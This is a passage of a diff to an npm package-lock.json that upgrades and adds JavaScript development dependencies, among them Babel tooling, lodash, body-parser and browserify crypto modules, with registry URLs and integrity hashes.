"https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.0.tgz", - "integrity": "sha512-/aA0kLeRb5N9K0d4fw7ooEbI+xDe+DKD499EQqygGqeS8N3xto15p09uY2xj7ixP81sNPXvRLnAQIqdVStgb1A==", + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==", + "dev": true + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", "dev": true } } }, "babel-eslint": { - "version": "6.1.2", - "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-6.1.2.tgz", - "integrity": "sha1-UpNBn+NnLWZZjTJ9qWlFZ7pqXy8=", + "version": "8.2.6", + "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-8.2.6.tgz", + "integrity": "sha512-aCdHjhzcILdP8c9lej7hvXKvQieyRt20SF102SIGyY4cUIiw6UaAtK4j2o3dXX74jEmy0TJ0CEhv4fTIM3SzcA==", "dev": true, "requires": { - "babel-traverse": "6.25.0", - "babel-types": "6.25.0", - "babylon": "6.17.4", - "lodash.assign": "4.2.0", - "lodash.pickby": "4.6.0" + "@babel/code-frame": "7.0.0-beta.44", + "@babel/traverse": "7.0.0-beta.44", + "@babel/types": "7.0.0-beta.44", + "babylon": "7.0.0-beta.44", + "eslint-scope": "3.7.1", + "eslint-visitor-keys": "1.0.0" + }, + "dependencies": { + "babylon": { + "version": "7.0.0-beta.44", + "resolved": "https://registry.npmjs.org/babylon/-/babylon-7.0.0-beta.44.tgz", + "integrity": "sha512-5Hlm13BJVAioCHpImtFqNOF2H3ieTOHd0fmFGMxOJ9jgeFqeAwsv3u5P5cR7CSeFrkgHsT19DgFJkHV0/Mcd8g==", + "dev": true + } } }, "babel-generator": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-generator/-/babel-generator-6.26.0.tgz", - "integrity": "sha1-rBriAHC3n248odMmlhMFN3TyDcU=", + "version": "6.26.1", + "resolved": "https://registry.npmjs.org/babel-generator/-/babel-generator-6.26.1.tgz", + "integrity": "sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==", "dev": true, "requires": { "babel-messages": "6.23.0", @@ -431,8 +1040,8 @@ "babel-types": "6.26.0", "detect-indent": "4.0.0", "jsesc": "1.3.0", - "lodash": "4.17.4", - "source-map": "0.5.6", + "lodash": "4.17.10", + "source-map": "0.5.7", "trim-right": "1.0.1" }, "dependencies": { @@ -442,8 +1051,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.6", - "regenerator-runtime": "0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "babel-types": { @@ -454,14 +1063,20 @@ "requires": { "babel-runtime": "6.26.0", "esutils": "2.0.2", - "lodash": "4.17.4", + "lodash": "4.17.10", "to-fast-properties": "1.0.3" } }, "regenerator-runtime": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.0.tgz", - "integrity": "sha512-/aA0kLeRb5N9K0d4fw7ooEbI+xDe+DKD499EQqygGqeS8N3xto15p09uY2xj7ixP81sNPXvRLnAQIqdVStgb1A==", + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==", + "dev": true + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", "dev": true } } @@ -489,14 +1104,44 @@ } }, "babel-helper-builder-react-jsx": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-builder-react-jsx/-/babel-helper-builder-react-jsx-6.24.1.tgz", - "integrity": "sha1-CteRfjPI11HmRtrKTnfMGTd9LLw=", + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-helper-builder-react-jsx/-/babel-helper-builder-react-jsx-6.26.0.tgz", + "integrity": "sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=", "dev": true, "requires": { - "babel-runtime": "6.25.0", - "babel-types": "6.25.0", + "babel-runtime": "6.26.0", + "babel-types": "6.26.0", "esutils": "2.0.2" + }, + "dependencies": { + "babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "dev": true, + "requires": { + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" + } + }, + "babel-types": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz", + "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", + "dev": true, + "requires": { + "babel-runtime": "6.26.0", + "esutils": "2.0.2", + "lodash": "4.17.10", + "to-fast-properties": "1.0.3" + } + }, + "regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==", + "dev": true + } } }, "babel-helper-call-delegate": { @@ -520,7 +1165,7 @@ "babel-helper-function-name": "6.24.1", "babel-runtime": "6.25.0", "babel-types": "6.25.0", - "lodash": "4.17.4" + "lodash": "4.17.10" } }, "babel-helper-explode-assignable-expression": { @@ -597,7 +1242,7 @@ "requires": { "babel-runtime": "6.25.0", "babel-types": "6.25.0", - "lodash": "4.17.4" + "lodash": "4.17.10" } }, "babel-helper-remap-async-to-generator": { @@ -638,15 +1283,27 @@ } }, "babel-loader": { - "version": "6.4.1", - "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-6.4.1.tgz", - "integrity": "sha1-CzQRLVsHSKjc2/Uaz2+b1C1QuMo=", + "version": "7.1.5", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-7.1.5.tgz", + "integrity": "sha512-iCHfbieL5d1LfOQeeVJEUyD9rTwBcP/fcEbRCfempxTDuqrKpu0AZjLAQHEQa3Yqyj9ORKe2iHfoj4rHLf7xpw==", "dev": true, "requires": { - "find-cache-dir": "0.1.1", - "loader-utils": "0.2.17", - "mkdirp": "0.5.1", - "object-assign": "4.1.1" + "find-cache-dir": "1.0.0", + "loader-utils": "1.1.0", + "mkdirp": "0.5.1" + }, + "dependencies": { + "loader-utils": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", + "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "dev": true, + "requires": { + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" + } + } } }, "babel-messages": { @@ -847,7 +1504,7 @@ "babel-template": "6.25.0", "babel-traverse": "6.25.0", "babel-types": "6.25.0", - "lodash": "4.17.4" + "lodash": "4.17.10" } }, "babel-plugin-transform-es2015-classes": { @@ -1119,7 +1776,7 @@ "integrity": "sha1-hAoCjn30YN/DotKfDA2R9jduZqM=", "dev": true, "requires": { - "babel-helper-builder-react-jsx": "6.24.1", + "babel-helper-builder-react-jsx": "6.26.0", "babel-plugin-syntax-jsx": "6.18.0", "babel-runtime": "6.25.0" } @@ -1170,7 +1827,7 @@ "dev": true, "requires": { "babel-runtime": "6.26.0", - "core-js": "2.5.6", + "core-js": "2.5.7", "regenerator-runtime": "0.10.5" }, "dependencies": { @@ -1180,7 +1837,7 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.6", + "core-js": "2.5.7", "regenerator-runtime": "0.11.0" }, "dependencies": { @@ -1194,6 +1851,52 @@ } } }, + "babel-preset-env": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/babel-preset-env/-/babel-preset-env-1.7.0.tgz", + "integrity": "sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==", + "dev": true, + "requires": { + "babel-plugin-check-es2015-constants": "6.22.0", + "babel-plugin-syntax-trailing-function-commas": "6.22.0", + "babel-plugin-transform-async-to-generator": "6.24.1", + "babel-plugin-transform-es2015-arrow-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoping": "6.24.1", + "babel-plugin-transform-es2015-classes": "6.24.1", + "babel-plugin-transform-es2015-computed-properties": "6.24.1", + "babel-plugin-transform-es2015-destructuring": "6.23.0", + "babel-plugin-transform-es2015-duplicate-keys": "6.24.1", + "babel-plugin-transform-es2015-for-of": "6.23.0", + "babel-plugin-transform-es2015-function-name": "6.24.1", + "babel-plugin-transform-es2015-literals": "6.22.0", + "babel-plugin-transform-es2015-modules-amd": "6.24.1", + "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", + "babel-plugin-transform-es2015-modules-systemjs": "6.24.1", + "babel-plugin-transform-es2015-modules-umd": "6.24.1", + "babel-plugin-transform-es2015-object-super": "6.24.1", + "babel-plugin-transform-es2015-parameters": "6.24.1", + "babel-plugin-transform-es2015-shorthand-properties": "6.24.1", + "babel-plugin-transform-es2015-spread": "6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "6.24.1", + "babel-plugin-transform-es2015-template-literals": "6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "6.23.0", + "babel-plugin-transform-es2015-unicode-regex": "6.24.1", + "babel-plugin-transform-exponentiation-operator": "6.24.1", + "babel-plugin-transform-regenerator": "6.24.1", + "browserslist": "3.2.8", + "invariant": "2.2.2", + "semver": "5.5.0" + }, + "dependencies": { + "semver": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.5.0.tgz", + "integrity": "sha512-4SJ3dm0WAwWy/NVeioZh5AntkdJoWKxHxcmyP622fOkgHa4z3R0TdBJICINyaSDE6uNwVc8gZr+ZinwZAH4xIA==", + "dev": true + } + } + }, "babel-preset-es2015": { "version": "6.24.1", "resolved": "https://registry.npmjs.org/babel-preset-es2015/-/babel-preset-es2015-6.24.1.tgz", @@ -1302,13 +2005,13 @@ "integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=", "dev": true, "requires": { - "babel-core": "6.26.0", + "babel-core": "6.26.3", "babel-runtime": "6.26.0", - "core-js": "2.5.6", + "core-js": "2.5.7", "home-or-tmp": "2.0.0", - "lodash": "4.17.4", + "lodash": "4.17.10", "mkdirp": "0.5.1", - "source-map-support": "0.4.17" + "source-map-support": "0.4.18" }, "dependencies": { "babel-runtime": { @@ -1317,14 +2020,14 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "2.5.6", - "regenerator-runtime": "0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "regenerator-runtime": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.0.tgz", - "integrity": "sha512-/aA0kLeRb5N9K0d4fw7ooEbI+xDe+DKD499EQqygGqeS8N3xto15p09uY2xj7ixP81sNPXvRLnAQIqdVStgb1A==", + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==", "dev": true } } @@ -1334,7 +2037,7 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "2.5.6", + "core-js": "2.5.7", "regenerator-runtime": "0.10.5" } }, @@ -1348,7 +2051,7 @@ "babel-traverse": "6.25.0", "babel-types": "6.25.0", "babylon": "6.17.4", - "lodash": "4.17.4" + "lodash": "4.17.10" } }, "babel-traverse": { @@ -1365,7 +2068,7 @@ "debug": "2.6.8", "globals": "9.18.0", "invariant": "2.2.2", - "lodash": "4.17.4" + "lodash": "4.17.10" } }, "babel-types": { @@ -1376,7 +2079,7 @@ "requires": { "babel-runtime": "6.25.0", "esutils": "2.0.2", - "lodash": "4.17.4", + "lodash": "4.17.10", "to-fast-properties": "1.0.3" } }, @@ -1398,6 +2101,73 @@ "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", "dev": true }, + "base": { + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz", + "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==", + "dev": true, + "requires": { + "cache-base": "1.0.1", + "class-utils": "0.3.6", + "component-emitter": "1.2.1", + "define-property": "1.0.0", + "isobject": "3.0.1", + "mixin-deep": "1.3.1", + "pascalcase": "0.1.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "1.0.2" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + } + } + }, "base16": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/base16/-/base16-1.0.0.tgz", @@ -1410,9 +2180,9 @@ "dev": true }, "base64-js": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.2.1.tgz", - "integrity": "sha512-dwVUVIXsBZXwTuwnXI9RK8sBmgq09NDHzyR9SAph9eqk76gKK2JSQmZARC2zRC81JC2QTtxD0ARU5qTS25gIGw==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.3.0.tgz", + "integrity": "sha512-ccav/yGvoa80BQDljCxsmmQ3Xvx60/UpBIij5QN21W3wBi/hhIC9OoO+KLpu9IJTS9j4DRVJ3aDDF9cMSoa2lw==", "dev": true }, "base64id": { @@ -1473,46 +2243,75 @@ "dev": true }, "bluebird": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.0.tgz", - "integrity": "sha1-eRQg1/VR7qKJdFOop3ZT+WYG1nw=", + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.5.1.tgz", + "integrity": "sha512-MKiLiV+I1AA596t9w1sQJ8jkiSr5+ZKi0WKrYGUn6d1Fx+Ij4tIj+m2WMQSGczs5jZVxV339chE8iwk6F64wjA==", + "dev": true + }, + "bn.js": { + "version": "4.11.8", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", + "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", "dev": true }, "body-parser": { - "version": "1.17.2", - "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.17.2.tgz", - "integrity": "sha1-+IkqvI+eYn1Crtr7yma/WrmRBO4=", + "version": "1.18.3", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.3.tgz", + "integrity": "sha1-WykhmP/dVTs6DyDe0FkrlWlVyLQ=", "dev": true, "requires": { - "bytes": "2.4.0", - "content-type": "1.0.2", - "debug": "2.6.7", - "depd": "1.1.1", - "http-errors": "1.6.2", - "iconv-lite": "0.4.15", + "bytes": "3.0.0", + "content-type": "1.0.4", + "debug": "2.6.9", + "depd": "1.1.2", + "http-errors": "1.6.3", + "iconv-lite": "0.4.23", "on-finished": "2.3.0", - "qs": "6.4.0", - "raw-body": "2.2.0", - "type-is": "1.6.15" + "qs": "6.5.2", + "raw-body": "2.3.3", + "type-is": "1.6.16" }, "dependencies": { "debug": { - "version": "2.6.7", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.7.tgz", - "integrity": "sha1-krrR9tBbu2u6Isyoi80OyJTChh4=", + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "requires": { "ms": "2.0.0" } }, "iconv-lite": { - "version": "0.4.15", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.15.tgz", - "integrity": "sha1-/iZaIYrGpXz+hUkn6dBMGYJe3es=", - "dev": true + "version": "0.4.23", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", + "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", + "dev": true, + "requires": { + "safer-buffer": "2.1.2" + } } } }, + "bonjour": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/bonjour/-/bonjour-3.5.0.tgz", + "integrity": "sha1-jokKGD2O6aI5OzhExpGkK897yfU=", + "dev": true, + "requires": { + "array-flatten": "2.1.1", + "deep-equal": "1.0.1", + "dns-equal": "1.0.0", + "dns-txt": "2.0.2", + "multicast-dns": "6.2.3", + "multicast-dns-service-types": "1.1.0" + } + }, + "boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", + "dev": true + }, "boom": { "version": "4.3.1", "resolved": "https://registry.npmjs.org/boom/-/boom-4.3.1.tgz", @@ -1557,12 +2356,19 @@ "resolved": "https://registry.npmjs.org/braces/-/braces-1.8.5.tgz", "integrity": "sha1-uneWLhLf+WnWt2cR6RS3N4V79qc=", "dev": true, + "optional": true, "requires": { "expand-range": "1.8.2", "preserve": "0.2.0", "repeat-element": "1.1.2" } }, + "brorand": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz", + "integrity": "sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8=", + "dev": true + }, "browser-stdout": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", @@ -1570,31 +2376,92 @@ "dev": true }, "browserify-aes": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-0.4.0.tgz", - "integrity": "sha1-BnFJtmjfMcS1hTPgLQHoBthgjiw=", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz", + "integrity": "sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA==", "dev": true, "requires": { - "inherits": "2.0.3" + "buffer-xor": "1.0.3", + "cipher-base": "1.0.4", + "create-hash": "1.2.0", + "evp_bytestokey": "1.0.3", + "inherits": "2.0.3", + "safe-buffer": "5.1.1" + } + }, + "browserify-cipher": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/browserify-cipher/-/browserify-cipher-1.0.1.tgz", + "integrity": "sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w==", + "dev": true, + "requires": { + "browserify-aes": "1.2.0", + "browserify-des": "1.0.2", + "evp_bytestokey": "1.0.3" + } + }, + "browserify-des": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/browserify-des/-/browserify-des-1.0.2.tgz", + "integrity": "sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A==", + "dev": true, + "requires": { + "cipher-base": "1.0.4", + "des.js": "1.0.0", + "inherits": "2.0.3", + "safe-buffer": "5.1.2" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + } + } + }, + "browserify-rsa": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", + "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", + "dev": true, + "requires": { + "bn.js": "4.11.8", + "randombytes": "2.0.6" + } + }, + "browserify-sign": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.0.4.tgz", + "integrity": "sha1-qk62jl17ZYuqa/alfmMMvXqT0pg=", + "dev": true, + "requires": { + "bn.js": "4.11.8", + "browserify-rsa": "4.0.1", + "create-hash": "1.2.0", + "create-hmac": "1.1.7", + "elliptic": "6.4.1", + "inherits": "2.0.3", + "parse-asn1": "5.1.1" } }, "browserify-zlib": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.1.4.tgz", - "integrity": "sha1-uzX4pRn2AOD6a4SFJByXnQFB+y0=", + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", + "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", "dev": true, "requires": { - "pako": "0.2.9" + "pako": "1.0.6" } }, "browserslist": { - "version": "1.7.7", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", - "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", + "version": "3.2.8", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-3.2.8.tgz", + "integrity": "sha512-WHVocJYavUwVgVViC0ORikPHQquXwVh939TaelZ4WDqpWgTX/FsGhl/+P4qBUAGcRvtOgDgC+xftNWWp2RUTAQ==", "dev": true, "requires": { - "caniuse-db": "1.0.30000715", - "electron-to-chromium": "1.3.18" + "caniuse-lite": "1.0.30000877", + "electron-to-chromium": "1.3.58" } }, "buffer": { @@ -1603,8 +2470,8 @@ "integrity": "sha1-bRu2AbB6TvztlwlBMgkwJ8lbwpg=", "dev": true, "requires": { - "base64-js": "1.2.1", - "ieee754": "1.1.8", + "base64-js": "1.3.0", + "ieee754": "1.1.12", "isarray": "1.0.0" }, "dependencies": { @@ -1616,6 +2483,40 @@ } } }, + "buffer-alloc": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/buffer-alloc/-/buffer-alloc-1.2.0.tgz", + "integrity": "sha512-CFsHQgjtW1UChdXgbyJGtnm+O/uLQeZdtbDo8mfUgYXCHSM1wgrVxXm6bSyrUuErEb+4sYVGCzASBRot7zyrow==", + "dev": true, + "requires": { + "buffer-alloc-unsafe": "1.1.0", + "buffer-fill": "1.0.0" + } + }, + "buffer-alloc-unsafe": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/buffer-alloc-unsafe/-/buffer-alloc-unsafe-1.1.0.tgz", + "integrity": "sha512-TEM2iMIEQdJ2yjPJoSIsldnleVaAk1oW3DBVUykyOLsEsFmEc9kn+SFFPz+gl54KQNxlDnAwCXosOS9Okx2xAg==", + "dev": true + }, + "buffer-fill": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-fill/-/buffer-fill-1.0.0.tgz", + "integrity": "sha1-+PeLdniYiO858gXNY39o5wISKyw=", + "dev": true + }, + "buffer-indexof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-indexof/-/buffer-indexof-1.1.1.tgz", + "integrity": "sha512-4/rOEg86jivtPTeOUUT61jJO1Ya1TrR/OkqCSZDyq84WJh3LuuiphBYJN+fm5xufIk4XAFcEwte/8WzC8If/1g==", + "dev": true + }, + "buffer-xor": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/buffer-xor/-/buffer-xor-1.0.3.tgz", + "integrity": "sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk=", + "dev": true + }, "builtin-modules": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz", @@ -1629,11 +2530,65 @@ "dev": true }, "bytes": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-2.4.0.tgz", - "integrity": "sha1-fZcZb51br39pNeJZhVSe3SpsIzk=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=", "dev": true }, + "cacache": { + "version": "10.0.4", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-10.0.4.tgz", + "integrity": "sha512-Dph0MzuH+rTQzGPNT9fAnrPmMmjKfST6trxJeK7NQuHRaVw24VzPRWTmg9MpcwOVQZO0E1FBICUlFeNaKPIfHA==", + "dev": true, + "requires": { + "bluebird": "3.5.1", + "chownr": "1.0.1", + "glob": "7.1.2", + "graceful-fs": "4.1.11", + "lru-cache": "4.1.3", + "mississippi": "2.0.0", + "mkdirp": "0.5.1", + "move-concurrently": "1.0.1", + "promise-inflight": "1.0.1", + "rimraf": "2.6.2", + "ssri": "5.3.0", + "unique-filename": "1.1.0", + "y18n": "4.0.0" + }, + "dependencies": { + "y18n": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.0.tgz", + "integrity": "sha512-r9S/ZyXu/Xu9q1tYlpsLIsa3EeLXXk0VwlxqTcFRfg9EhMW+17kbt9G0NrgCmhGb5vT2hyhJZLfDGx+7+5Uj/w==", + "dev": true + } + } + }, + "cache-base": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", + "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", + "dev": true, + "requires": { + "collection-visit": "1.0.0", + "component-emitter": "1.2.1", + "get-value": "2.0.6", + "has-value": "1.0.0", + "isobject": "3.0.1", + "set-value": "2.0.0", + "to-object-path": "0.3.0", + "union-value": "1.0.0", + "unset-value": "1.0.0" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + } + } + }, "caller-path": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-0.1.0.tgz", @@ -1655,11 +2610,22 @@ "integrity": "sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=", "dev": true }, + "camel-case": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-3.0.0.tgz", + "integrity": "sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=", + "dev": true, + "requires": { + "no-case": "2.3.2", + "upper-case": "1.1.3" + 